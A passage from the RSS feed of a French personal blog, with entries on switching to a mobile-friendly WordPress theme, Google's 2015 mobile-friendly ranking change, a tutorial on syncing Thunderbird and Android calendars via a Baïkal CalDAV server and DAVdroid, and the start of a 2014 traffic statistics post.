couleurs pour certains liens, le style de morceaux de codes, les citations, etc&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;La bannière en haut de page, toujours &amp;ldquo;aléatoire&amp;rdquo;, est plus grande, j&amp;rsquo;ai dû refaire les images (je ne les ai pas toutes encore refaites, et sans doute en profiter pour faire un tri). Et quand on fait défiler la page vers le bas, le menu reste visible&amp;hellip; pas mal !&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai également dû installer un nouveau plugin : &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/php-code-widget/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;PHP Code Widget&lt;/a&gt;, pour pouvoir conserver la petite citation affichée à droite. En effet,  j&amp;rsquo;utilise pour cela un vieux plugin qui n&amp;rsquo;est plus maintenu (wp_utterquotes) et qui n&amp;rsquo;est pas un widget.&lt;/p&gt;&#xA;&lt;p&gt;Il y aura sûrement d&amp;rsquo;autres petites modifications à faire plus tard, mais pour l&amp;rsquo;essentiel, tout à l&amp;rsquo;air de bien fonctionner. Et côté smartphone, voilà ce que ça donne :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;theme-mobile&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;135px&#34; data-flex-grow=&#34;56&#34; height=&#34;533&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/nouveau-theme-fourteenpress/theme-mobile.png&#34; width=&#34;300&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pas mal non ? Et bien sûr, il passe le test Google avec succès ! :-)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;mobile-friendly&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;390px&#34; data-flex-grow=&#34;162&#34; height=&#34;744&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/nouveau-theme-fourteenpress/mobile-friendly.png&#34; srcset=&#34;https://pled.fr/nouveau-theme-fourteenpress/mobile-friendly_hu_222e61ec0cda27f8.png 800w, https://pled.fr/nouveau-theme-fourteenpress/mobile-friendly.png 1212w&#34; width=&#34;1212&#34;&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Google mobile-friendly : il va falloir changer mon thème</title>
            <link>https://pled.fr/google-mobile-friendly-il-va-falloir-changer-mon-theme/</link>
            <pubDate>Fri, 24 Apr 2015 17:52:20 +0000</pubDate>
            <guid>https://pled.fr/google-mobile-friendly-il-va-falloir-changer-mon-theme/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;responsive design&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;responsive.png#floatleft&#34;&gt; Depuis le 21 avril, Google a mis en place un nouveau traitement visant à privilégier les sites adaptés aux appareils mobiles.&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;opération &lt;strong&gt;Google mobile-friendly&lt;/strong&gt; souhaite aider les internautes mobiles à trouver des pages adaptées à leur appareil ; considérant que l&amp;rsquo;usage du mobile se généralise, Google souhaite donc que les webmasters mettent leurs sites à niveau.&lt;/p&gt;&#xA;&lt;p&gt;On appelle ça le &amp;ldquo;responsive-design&amp;rdquo; (ou &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://fr.wikipedia.org/wiki/Site_web_adaptatif&#34;  title=&#34;Site web adaptif sur wikipedia&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;site web adaptif&lt;/a&gt;&amp;rdquo; en bon français). L&amp;rsquo;idée parait bonne, et va dans le sens du confort de l&amp;rsquo;utilisateur : concrètement, les utilisateurs d&amp;rsquo;appareils mobiles verront leurs résultats optimisés pour afficher d&amp;rsquo;abord les sites mobile-friendly.&lt;/p&gt;&#xA;&lt;p&gt;Par conséquence, les sites non-adaptés aux appareils mobiles verront leur classement relégué quelques pages plus loin ! Voilà le texte de Google :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A compter du 21 avril 2015, nous allons étendre notre utilisation du critère de compatibilité mobile pour en faire l&amp;rsquo;un des critères de positionnement du moteur. Ce changement affectera les résultats de recherche mobiles partout dans le monde et dans toutes les langues, et son impact sera significatif. Notre objectif est de fournir à nos utilisateurs des résultats pertinents, de qualité, et qui soient compatibles avec leur appareil mobile.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Google fournit une page de test &lt;a class=&#34;link&#34; href=&#34;https://www.google.com/webmasters/tools/mobile-friendly&#34;  title=&#34;Google mobile-friendly test page&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt; ; considérant que mon thème date de 2008 (même si je l&amp;rsquo;ai pas mal personnalisé depuis), je n&amp;rsquo;ai pas été surpris que le résultat soit négatif :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2015/04/test-result.png&#34; &gt;&lt;img alt=&#34;résultat du test&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;372px&#34; data-flex-grow=&#34;155&#34; height=&#34;290&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/google-mobile-friendly-il-va-falloir-changer-mon-theme/test-result-450.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et donc :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Texte illisible, car trop petit : OK, avec les trois colonnes d&amp;rsquo;affichées, je confirme. Mais un &amp;ldquo;double-tap&amp;rdquo; sur la colonne centrale permet de n&amp;rsquo;afficher que celle-ci, et le blog est alors lisible. Mais bon&amp;hellip;&lt;/li&gt;&#xA;&lt;li&gt;Liens trop rapprochés : ça serait facile à modifier avec une simple déclaration CSS, mais insuffisant au regard des autres problèmes signalés.&lt;/li&gt;&#xA;&lt;li&gt;Fenêtre d&amp;rsquo;affichage mobile non configurée : là encore, il s&amp;rsquo;agit d&amp;rsquo;une balise HTML non configurée (meta viewport), permettant d&amp;rsquo;adapter l&amp;rsquo;affichage à la taille de l&amp;rsquo;écran.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Je pourrais peut-être essayer d&amp;rsquo;apdapter mon thème, mais je vais plutôt essayer d&amp;rsquo;en trouver un plus récent : d&amp;rsquo;une part, Wordpress a lui aussi beaucoup évolué depuis 2008, et mon thème n&amp;rsquo;utilise pas toutes les fonctionnalités disponibles, et d&amp;rsquo;autre part, ça fait un petit bout de temps que j&amp;rsquo;ai envie de passer à un thème à deux colonnes. Avec  le thème actuel (3 colonnes), la largeur restant pour les articles est trop faible, et c&amp;rsquo;est un peu gênant quand l&amp;rsquo;article est un tuto avec des images que je dois systématiquement réduire (par exemple).&lt;/p&gt;&#xA;&lt;p&gt;Reste à trouver le nouveau thème ! Ce n&amp;rsquo;est pas ce qui manque, mais trouver le bon n&amp;rsquo;est pas forcément évident : il faudra l&amp;rsquo;adapter aux articles existants, c&amp;rsquo;est-à-dire passer un peu de temps à adapter le fichier style.css du nouveau thème.&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Synchroniser les agendas de Thunderbird et Android avec Baïkal</title>
            <link>https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/</link>
            <pubDate>Mon, 12 Jan 2015 17:37:08 +0000</pubDate>
            <guid>https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://baikal-server.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;img alt=&#34;le site de baikal&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;192px&#34; data-flex-grow=&#34;80&#34; height=&#34;249&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/baikal.png&#34; width=&#34;200&#34;&gt;&lt;/a&gt; Je ne suis pas un grand utilisateur du smartphone, pas plus que du simple téléphone d&amp;rsquo;ailleurs&amp;hellip; néanmoins, un smartphone est un véritable ordinateur de poche, et l&amp;rsquo;on peut utiliser ses possibilités pour des choses bien pratiques.&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;une de ces choses, qui me trottait dans la tête depuis un petit bout de temps, c&amp;rsquo;était la synchronisation de mes deux agendas : le principal étant sur le PC, dans Thunderbird (&lt;a class=&#34;link&#34; href=&#34;https://www.mozilla.org/en-US/projects/calendar/&#34;  title=&#34;Lightning mozilla project (US)&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Lightning&lt;/a&gt;, un add-on), et bien sûr le calendrier du smartphone, sur lequel j&amp;rsquo;ai pris l&amp;rsquo;habitude de noter des rendez-vous, etc&amp;hellip; lorsque je suis hors de chez moi&amp;hellip; Quitte à le recopier manuellement sur le PC une fois à la maison, ce qui était vraiment fastidieux et source d&amp;rsquo;erreur.&lt;/p&gt;&#xA;&lt;p&gt;Je précise que si j&amp;rsquo;utilise Android, ce n&amp;rsquo;est pas la ROM d&amp;rsquo;origine, et que je ne déclare pas de compte Google lors de l&amp;rsquo;installation. L&amp;rsquo;idée générale est de se &amp;ldquo;dégoogliser&amp;rdquo; (voir cet &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8094&#34;  title=&#34;Dégooglisons internet !&#34;&#xA;    &gt;article&lt;/a&gt;),  et d&amp;rsquo;apprendre à se passer de tous les beaux services &amp;ldquo;offerts&amp;rdquo; par Google.&lt;/p&gt;&#xA;&lt;p&gt;Comme je bénéficie désormais d&amp;rsquo;un hébergeur qui offre lui aussi des possibilités, je me suis mis à chercher comment faire. Les deux agendas ne pouvant se synchroniser tous les deux directement, il va falloir utiliser le protocole CalDAV et un serveur, &lt;a class=&#34;link&#34; href=&#34;http://baikal-server.com/&#34;  title=&#34;le site de Baïkal&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Baïkal&lt;/a&gt; en l&amp;rsquo;occurrence&amp;hellip;&lt;/p&gt;&#xA;&lt;h3 id=&#34;caldav&#34;&gt;CalDAV&#xA;&lt;/h3&gt;&lt;p&gt;C&amp;rsquo;est un protocole d&amp;rsquo;édition de calendrier en ligne, qui permet d&amp;rsquo;échanger des événements. Un calendrier est, dans CalDAV, un dossier contenant des évènements, des tâches&amp;hellip; Chaque évènement est transmis sous la forme d&amp;rsquo;un fichier VEVENT, VTASK&amp;hellip; Il est donc possible de manipuler un seul élément sans avoir à échanger l&amp;rsquo;ensemble du calendrier.&lt;/p&gt;&#xA;&lt;p&gt;Thunderbird/Lightning intègre ce protocole, contrairement à Android où il faudra installer un module complémentaire. Mais commençons par installer le serveur.&lt;/p&gt;&#xA;&lt;h3 id=&#34;onecom&#34;&gt;One.com&#xA;&lt;/h3&gt;&lt;p&gt;Ma première idée était en fait d&amp;rsquo;utiliser le calendrier fourni par One.com. La &lt;a class=&#34;link&#34; href=&#34;https://www.one.com/fr/support/faq/qu-est-ce-que-caldav&#34;  title=&#34;FAQ CalDAV sur One.Com&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;page d&amp;rsquo;aide&lt;/a&gt; indique que CalDAV est supporté. Hélas, après quelques essais, impossible de synchroniser avec Thunderbird. L&amp;rsquo;erreur est :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;DAV_NOT_DAV. Description : La ressource sur « http://caldav.one.com/ » n&amp;rsquo;est pas une collection DAV ou n&amp;rsquo;est pas disponible.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Je contacte le support, et leur réponse est décevante (pour ne pas dire surprenante) :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Cher Client,&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Merci d&amp;rsquo;avoir contacté One.com!&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Nous sommes navré mais nous ne pouvons garantir le bon fonctionnement de composant dans votre application . Nous avons eu certain clients où cette manipulation fonctionnaient à 50 %. Le département technique travaille à une solution corriger ces bugs mais nous n&amp;rsquo;avons pas de retour en ce moment.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Nous nous excusons pour la gêne occasionnée.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Dans ce cas, le mieux est de laisser tomber&amp;hellip;&lt;/p&gt;&#xA;&lt;h3 id=&#34;baïkal&#34;&gt;Baïkal&#xA;&lt;/h3&gt;&lt;p&gt;Baïkal est un serveur CalDAV+CardDAV léger, et open-source. Il requiert un serveur Apache 2, PHP 5.3.1 et utilise SQLite3 ou MySQL. Il est compatible avec Thunderbird et Android, simple à administrer, et s&amp;rsquo;installe très facilement. Exactement ce que je cherche !&lt;/p&gt;&#xA;&lt;p&gt;Note : CardDAV, c&amp;rsquo;est la même chose que CalDAV, mais pour synchroniser les contacts.&lt;/p&gt;&#xA;&lt;p&gt;Sur la &lt;a class=&#34;link&#34; href=&#34;http://baikal-server.com/&#34;  title=&#34;le site de Baïkal&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;page de Baïkal&lt;/a&gt;, j&amp;rsquo;ai donc téléchargé le &amp;ldquo;Flat package&amp;rdquo; (allons au plus simple), puis je l&amp;rsquo;ai dézippé, et enfin transféré sur One.com dans un répertoire dédié. Il s&amp;rsquo;agit de la v0.2.7. Voilà, il suffit ensuite de se rendre à cette adresse dans le navigateur, et en deux clics, le serveur est installé.&lt;/p&gt;&#xA;&lt;p&gt;Il ne reste plus qu&amp;rsquo;à créer un utilisateur via l&amp;rsquo;interface d&amp;rsquo;administration :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Vue utilisateur&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;642px&#34; data-flex-grow=&#34;267&#34; height=&#34;168&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/baikal-user-450.png&#34; width=&#34;450&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Puis à lui créer un ou plusieurs agendas :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1 agenda pour pascal&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;238px&#34; data-flex-grow=&#34;99&#34; height=&#34;422&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/baikal-user1.png&#34; width=&#34;419&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà, c&amp;rsquo;est terminé côté serveur ! À noter que l&amp;rsquo;on ne peut pas visualiser le ou les agendas sur Baïkal : il ne fait que synchroniser, et le fait bien apparemment.&lt;/p&gt;&#xA;&lt;p&gt;Info&lt;/p&gt;&#xA;&lt;p&gt;Voir aussi cet article : &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9704&#34; &gt;Mise à jour DAVdroid et perte des couleurs des calendriers&lt;/a&gt;, où j&amp;rsquo;ai dû installer une version plus récente de Baïkal (v0.4.4).&lt;/p&gt;&#xA;&lt;p&gt;Cette version permet de définir une couleur pour chaque calendrier, et fournit un nouveau &lt;strong&gt;dav.php&lt;/strong&gt; qui remplace les &lt;strong&gt;cal.php&lt;/strong&gt; (calendrier) et &lt;strong&gt;card.php&lt;/strong&gt; (contacts) précédemment utilisés.&lt;/p&gt;&#xA;&lt;h3 id=&#34;thunderbird&#34;&gt;Thunderbird&#xA;&lt;/h3&gt;&lt;p&gt;Dans Thunderbird, ou plutôt Lightning, créer un nouvel agenda et sélectionner &amp;ldquo;Sur le réseau&amp;rdquo; :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;étape 1&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;625px&#34; data-flex-grow=&#34;260&#34; height=&#34;192&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/lightning1.png&#34; width=&#34;500&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Puis &amp;ldquo;CalDAV&amp;rdquo; en renseignant l&amp;rsquo;adresse de votre serveur sous la forme :&lt;/p&gt;&#xA;&lt;p&gt;http(s)://nom_du_server/rép_baikal/cal.php/calendars/nom_utilisateur/nom_agenda&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;étape 2&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;538px&#34; data-flex-grow=&#34;224&#34; height=&#34;223&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/lightning2.png&#34; width=&#34;500&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enfin choisissez le nom et la couleur de votre agenda dans TH/Lightning :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;étape 3&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;508px&#34; data-flex-grow=&#34;211&#34; height=&#34;236&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/lightning3.png&#34; width=&#34;500&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà, c&amp;rsquo;est terminé côté Thunderbird. Aller dans les propriétés de l&amp;rsquo;agenda pour régler la synchronisation comme vous le souhaitez :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Propriétés de l&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;355px&#34; data-flex-grow=&#34;147&#34; height=&#34;338&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/lightning4.png&#34; width=&#34;500&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notez que cette opération est à répéter pour chaque calendrier que vous avez créé sur Baïkal.&lt;/p&gt;&#xA;&lt;p&gt;À ce stade, j&amp;rsquo;ai eu besoin d&amp;rsquo;importer les événements du calendrier local que j&amp;rsquo;utilisais auparavant. Pour ce faire :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;clic droit sur le calendrier local, et &amp;ldquo;Exporter&amp;rdquo;. Vous récupérez alors un fichier &amp;ldquo;.ics&amp;rdquo;.&lt;/li&gt;&#xA;&lt;li&gt;sélectionner le nouveau calendrier créé, puis menu &amp;ldquo;Événements et tâches - Importer&amp;rdquo;, puis sélectionner le fichier précédemment sauvegardé.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;android&#34;&gt;Android&#xA;&lt;/h3&gt;&lt;p&gt;Côté Android, il faut une version 4 minimum (j&amp;rsquo;avais un  Android 2.3.7 sur mon vieux HTC Desire, il y avait bien moyen de le faire avec &lt;a class=&#34;link&#34; href=&#34;https://f-droid.org/repository/browse/?fdfilter=calendar&amp;amp;fdid=com.morphoss.acal&#34;  title=&#34;aCal sur f-droid&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;aCal&lt;/a&gt;, mais c&amp;rsquo;était vraiment limité&amp;hellip; et le calendrier très peu esthétique). J&amp;rsquo;ai donc installé une ROM Android JB 4.1.2.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;DAVdroid&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;48&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/DAVdroid.png&#34; width=&#34;48&#34;&gt; Il va d&amp;rsquo;abord falloir installer &lt;a class=&#34;link&#34; href=&#34;https://f-droid.org/repository/browse/?fdfilter=DAVDroid&amp;amp;fdid=at.bitfire.davdroid&#34;  title=&#34;DAVdroid sur F-droid&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;DAVdroid&lt;/a&gt;, à partir du dépôt &lt;a class=&#34;link&#34; href=&#34;https://f-droid.org/&#34;  title=&#34;dépôt F-Droid&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;F-Droid&lt;/a&gt;. Il s&amp;rsquo;intègre de manière transparente au système ; une fois installé, il va se charger de synchroniser vos agendas (et vos contacts si vous le voulez).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;DAVdroid&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;48&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/caldavsyncadapter.png&#34; width=&#34;48&#34;&gt; NOTE : il existe également CalDAV SyncAdapter, également sur f-droid, qui ne fait que les calendriers, et qui a l&amp;rsquo;air moins avancé que DAVdroid.&lt;/p&gt;&#xA;&lt;p&gt;Une fois ceci fait, lancer DAVdroid :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;DAVdroid 1&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;212px&#34; data-flex-grow=&#34;88&#34; height=&#34;542&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/davdroid1.png&#34; width=&#34;480&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Choisir &amp;ldquo;Login with URL and user name&amp;rdquo;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;DAVdroid 2&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;271px&#34; data-flex-grow=&#34;112&#34; height=&#34;425&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/davdroid2.png&#34; width=&#34;480&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Renseigner les paramètres du serveur et du compte. Pour Baikal, il faut utiliser l&amp;rsquo;URL sous la forme :&lt;/p&gt;&#xA;&lt;p&gt;http(s)://nom_du_serveur/rép_baikal/cal.php/principals&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;DAVdroid 3&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;144px&#34; data-flex-grow=&#34;60&#34; height=&#34;800&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/davdroid3.png&#34; width=&#34;480&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà, DAVdroid va se connecter, et vous demander quels agendas vous désirez synchroniser.&lt;/p&gt;&#xA;&lt;p&gt;Un compte a été créé sous Android (Paramètres systèmes - Comptes), et la synchronisation activée.&lt;/p&gt;&#xA;&lt;h3 id=&#34;acalendar&#34;&gt;aCalendar&#xA;&lt;/h3&gt;&lt;p&gt;C&amp;rsquo;est finalement assez simple à mettre en place. Il faut bien entendu un hébergeur web pour ce faire (ou alors s&amp;rsquo;auto-héberger), mais les pré-requis de Baïkal sont très standards, et il s&amp;rsquo;installe vraiment en deux clics.&lt;/p&gt;&#xA;&lt;p&gt;Désormais, mes agendas sont synchronisés, toute modification faite côté Thunderbird sera répliquée côté Android, et réciproquement.&lt;/p&gt;&#xA;&lt;p&gt;Une dernière image, celle de &lt;a class=&#34;link&#34; href=&#34;https://play.google.com/store/apps/details?id=org.withouthat.acalendar&#34;  title=&#34;aCalendar sur Playstore&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;aCalendar&lt;/a&gt;, l&amp;rsquo;application de calendrier que j&amp;rsquo;utilise sur Android. Le seule raison est que aCalendar affiche les anniversaires en allant chercher les informations dans les contacts (et en affichant leur photo et leur âge dans le calendrier), idéal pour ne pas oublier la famille et les amis&amp;hellip; On ne peut pas y créer des agendas, mais il récupère automatiquement les agendas définis sous Google calendar.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;aCalendar&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;195px&#34; data-flex-grow=&#34;81&#34; height=&#34;590&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/synchroniser-les-agendas-de-thunderbird-et-android-avec-baikal/calendar4.png&#34; width=&#34;480&#34;&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog – année 2014</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2014/</link>
            <pubDate>Tue, 06 Jan 2015 19:05:20 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2014/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;meilleurs voeux pour 2014&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;voeux.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;tout-dabord-meilleurs-vœux-pour-cette-nouvelle-année-2015-à-toutes-et-à-tous-passant-sur-ce-blog-&#34;&gt;Tout d&amp;rsquo;abord, meilleurs vœux pour cette nouvelle année 2015 à toutes et à tous passant sur ce blog !&#xA;&lt;/h4&gt;&lt;h4 id=&#34;santé--bonheur-pour-vous-et-vos-proches-cest-le-plus-important&#34;&gt;Santé &amp;amp; bonheur pour vous et vos proches, c&amp;rsquo;est le plus important.&#xA;&lt;/h4&gt;&lt;h3 id=&#34;les-stats&#34;&gt;Les stats&#xA;&lt;/h3&gt;&lt;p&gt;L&amp;rsquo;année dernière, je n&amp;rsquo;avais pas fait d&amp;rsquo;articles sur les stats du blog (par fainéantise et manque de motivation) &amp;hellip; Regardons un peu les dernières stats du site quand il était sur free.fr.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2015/01/stat1.png&#34; &gt;&lt;img alt=&#34;nombre de visites&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;900px&#34; data-flex-grow=&#34;375&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2014/stat1-450.png&#34; width=&#34;450&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Le nombre total de visites (affiché en bas de page grâce au plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  title=&#34;la page du plugin WP online counter&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt;) depuis la création du site a tout de 